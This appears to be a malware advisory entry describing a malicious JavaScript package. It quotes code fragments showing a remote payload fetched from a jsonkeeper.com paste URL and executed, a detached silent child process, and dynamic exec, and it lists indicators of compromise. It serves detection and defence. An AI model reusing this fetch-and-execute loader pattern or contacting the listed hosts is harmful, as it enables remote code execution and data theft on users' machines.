GCVE-110-OSM-2026-7223

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY index.js (main: index.js) DESTINATION - custom-c2: jsonkeeper.com (primary, decoded) in lib/caller.js EXFIL - Fetch and Eval/Exec in lib/caller.js: "axios.get( 'https://www.jsonkeeper.com/b/PC5CK' ); if (!res || !res.data) return..." - Payload Download from Paste Service in lib/caller.js: "jsonkeeper.com" - Network Request in lib/caller.js: "axios.get(" OBFUSCATION - Decoded Base64 Content in lib/const.js - recovered 1 urls, 1 domains from decoded/deobfuscated content ADDITIONAL FINDINGS - Stealth Background Process Spawning in index.js: "spawn(process.execPath, [script], { detached: true, stdio: 'ignore' }" - Shell Command Execution in index.js: "require('child_process')" - Silent Process Execution in index.js: "stdio: 'ignore'" - Detached Child Process Payload in index.js: "spawn(process.execPath, [script], { detached: true" - Dynamic Code Execution in lib/redaction.js: "exec(str)" - Brand New Package PAYLOAD FILES lib/caller.js (+ lib/const.js, index.js) INDICATORS (IOCs) - domains: blockterralab.com - emails: austen.lenihan@blockterralab.com - urls: https://jsonkeeper.com/b/4NAKK - payloadFileHash: 22f2afbfcf4ec7813b14e67c51fb9021c3845c39d3cf82150bec651b693ee50b